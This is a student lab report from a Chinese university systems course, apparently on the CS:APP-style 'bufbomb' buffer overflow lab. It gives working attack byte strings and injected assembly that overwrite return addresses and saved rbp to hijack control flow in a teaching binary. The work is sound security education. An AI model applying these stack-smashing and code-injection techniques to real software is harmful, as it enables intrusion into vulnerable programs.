

华中科技大学

课程实验报告

课程名称： 计算机系统基础

实验名称： 缓冲区溢出攻击

院 系： 计算机科学与技术

专业班级： 图灵 2301

学 号： U202311239

姓 名： 刘星佳

指导教师： 王多强

2024 年 10 月 15 日

一、实验目的与要求

通过分析一个程序（称为“缓冲区炸弹”）的构成和运行逻辑，加深对理论课中关于程序的机器级表示、函数调用规则、栈结构等方面知识点的理解，增强反汇编、跟踪、分析、调试等能力，加深对缓冲区溢出攻击原理、方法与防范等方面知识的理解和掌握；

实验环境：Ubuntu, GCC, GDB 等

二、实验内容

任务 缓冲区溢出攻击

程序运行过程中，需要输入特定的字符串，使得程序达到期望的运行效果。

对一个可执行程序“bufbomb”实施一系列缓冲区溢出攻击(buffer overflow attacks)，也就是设法通过造成缓冲区溢出来改变该程序的运行内存映像(例如将专门设计的字节序列插入到栈中特定内存位置)和行为，以实现实验预定的目标。bufbomb 目标程序在运行时使用函数 `getbuf` 读入一个字符串。根据不同的任务，学生生成相应的攻击字符串。

实验中需要针对目标可执行程序 `bufbomb`，分别完成多个难度递增的缓冲区溢出攻击(完成的顺序没有固定要求)。按从易到难的顺序，这些难度级分别命名为 `smoke (level 0)`、`fizz (level 1)`、`bang (level 2)`、`boom (level 3)`和 `kaboom (level 4)`。

1、第 0 级 smoke

正常情况下，`getbuf` 函数运行结束，执行最后的 `ret` 指令时，将取出保存于栈帧中的返回（断点）地址并跳转至它继续执行（`test` 函数中调用 `getbuf` 处）。要求将返回地址的值改为本级别实验的目标 `smoke` 函数的首条指令的地址，`getbuf` 函数返回时，跳转到 `smoke` 函数执行，即达到了实验的目标。

2、第 1 级 fizz

要求 `getbuf` 函数运行结束后，转到 `fizz` 函数处执行。与 `smoke` 的差别是，`fizz` 函数有一个参数。`fizz` 函数中比较了参数 `val` 与 全局变量 `cookie` 的值，只有两者相同（要正确打印 `val`）才能达到目标。

3、第 2 级 bang

要求 `getbuf` 函数运行结束后，转到 `bang` 函数执行，并且让全局变量 `global_value` 与 `cookie` 相同（要正确打印 `global_value`）。

4、第 3 级 boom

无感攻击，执行攻击代码后，程序仍然返回到原来的调用函数继续执行，使得调用函数（或者程序用户）感觉不到攻击行为。

构造攻击字符串，让函数 `getbuf` 将 `cookie` 值返回给 `test` 函数，而不是返回值 1。还原被破坏的栈帧状态，将正确的返回地址压入栈中，并且执行 `ret` 指令，从而返回到 `test` 函数。

三、实验记录及问题回答

（1）实验任务的实验记录

1. 第 0 级 smoke

攻击字符串为:

```
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
60 d5 ff ff ff 7f 00 00 10 13 40 00
```

2. 第1级 fizz

攻击字符串为:

```
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ec 40 40 00 00 00 00 00 38 13 40 00
```

3. 第2级 bang

攻击字符串为:

```
b8 47 06 0f 0c 89 04 25 ec 40 40 00 48 c7 c2 81
13 40 00 ff e2 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 90 d7 ff ff ff 7f
```

4. 第3级 boom

攻击字符串为:

```
b8 47 06 0f 0c 48 c7 c2 94 14 40 00 ff e2 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
60 d5 ff ff ff 7f 00 00 f0 d4 ff ff ff 7f
```

(2) 缓冲区溢出攻击中字符串产生的方法描述

要求: 一定要画出栈帧结构 (包括断点的存放位置, 保存 ebp 的位置, 局部变量的位置等等)

1. 第0级 smoke

栈帧结构如下:

返回地址
保存的 rbp 位置
... (40 bytes)

buf (char *)
src (char *)
len (int)
... (56 bytes)

可以发现我们只需要让输入的 buf 字符串溢出到返回地址的位置，并且让保存的先前 rbp 位置不变，把覆盖的返回地址的位置设置为 smoke 函数代码的首地址 0x401310 即可。

2. 第1级 fizz

把覆盖的返回地址设置为 fizz 中进行 if(val==cookie)的代码地址 0x401338,发现此处先将全局变量 cookie 的值存储到寄存器 eax 中，cookie 的存储位置为 0x2dda(%rip)，通过 gdb 得知确切位置为 0x4040e8。同时发现待比较的 val 值是通过-0x4(%rbp)处取值来判断的，因此只要让%rbp 的值设置为 0x4040ec 即可。而 rbp 的值最近的修改是在 getbuf 函数返回时读取存在栈内的保存的 rbp 位置，因此可以通过攻击字符串溢出修改这部分的值，从而达到修改 rbp 寄存器的目的。

3. 第2级 bang

通过标准输出的信息得知 cookie 的值为 0xc0f0647，先把攻击的字符串覆盖的返回地址设置为 bang 函数的首指针 0x401381,进入 bang 函数,再通过 gdb 查看 global_value 存储的地址为 0x4040ec。

然后自己写一段汇编 bang.s，实现修改 global_value 的值：

```
mov $0xc0f0647, %eax
mov %eax, 0x4040ec
mov $0x401381, %rdx
jmpq *%rdx
```

将这段代码用 objdump 得到十六进制编码，放在攻击串的开头。然后再次使用 gdb 得到 buf 的绝对位置 0x7fffffff790，将 getbuf 的返回地址同样用前面的方法设置成该绝对位置，这样就会执行 buf 地址处存储的代码段，也就实现了更改 global_value 的值，通过判断。

4. 第3级 boom

同样采用代码注入的方式，自己写一个代码段把返回的 eax 寄存器的值变成 cookie 值 0xc0f0647。这个代码段其实不一定要具备恢复 rbp 的功能，因为可以在攻击字符串覆盖时对应位置不改变原先保存 rbp 位置的区域，因此代码段为：

```
mov $0xc0f0647, %eax
mov $0x401494, %rdx
jmpq *%rdx
```

与上一级类似，将这段代码转换成十六进制机器编码后作为攻击字符串的开头，将 getbuf 返回地

址覆盖为 buf 的首地址,运行代码段的最后通过 jmp 跳回调用 getbuf 函数下一行代码,实现无感攻击。

四、体会

通过这次实验,我深刻体会到了缓冲区溢出攻击的原理和方法。在整个实验过程中,通过逐步分析和构造攻击字符串,我对栈帧结构、函数调用机制、寄存器使用等底层知识有了更加深入的理解。尤其是为了实现不同级别的攻击目标,我学习了如何在内存中定位目标函数地址,并精确构造出攻击字符串,成功实现对程序的预期操控。这一过程极大地提高了我在调试、反汇编、以及理解机器级语言代码方面的能力。

此外,实验还让我更加意识到程序安全性的重要性。缓冲区溢出攻击虽然在实践中有点困难,但其成功后带来的系统安全隐患也是巨大的。因此,作为计算机专业的学生,我深刻体会到在实际开发中,必须时刻保持对输入数据长度的严格控制,避免出现溢出漏洞。总的来说,这次实验不仅提升了我的技术能力,也增强了我的安全意识,对我未来的编程和开发实践有很大帮助。